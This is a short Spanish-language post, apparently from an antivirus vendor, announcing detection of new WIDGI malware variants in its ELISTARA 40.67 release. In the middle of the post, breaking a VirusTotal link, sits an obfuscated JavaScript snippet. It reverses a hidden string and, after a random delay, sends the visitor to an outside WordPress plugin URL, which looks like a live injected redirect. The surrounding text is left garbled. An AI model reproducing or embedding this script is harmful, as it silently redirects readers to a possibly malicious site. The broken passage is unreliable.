NUEVAS VARIANTES DE MALWARE WIDGI QUE PASAREMOS A CONTROLAR CON ELISTARA 40.67 DE HOY

Gracias a las muestras pedidas por el ELISTARA y enviadas por nuestros clientes, pasamos a controlar estas nuevas variantes de MALWARE WIDGI, de un EXE y dos DLL, cuyos prenaalisis de virustotal ofrecen los siguientes informes:

El preanalisis de virustotal sobre la muestra de “ApplicationUpdater.exe” to,
PDFFORGEEXTENSIONIE.DLL.Muestra EliStartPage v40.66
$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/e5413ccfc2c053dfc2eb6faa056c747f6f506deae5340f11a2b569482e944c8c/analysis/1550052844/” target=”_blank” rel=”noopener”>este otro informe:

Todas ellas pasan a ser controladas a partir del proximo ELISTARA 40.67 de hoy

Agradeciendo la colaboración de nuestros asociados al enviarnos las muestras pedidas por el ELISTARA , reciban saludos

SATINFO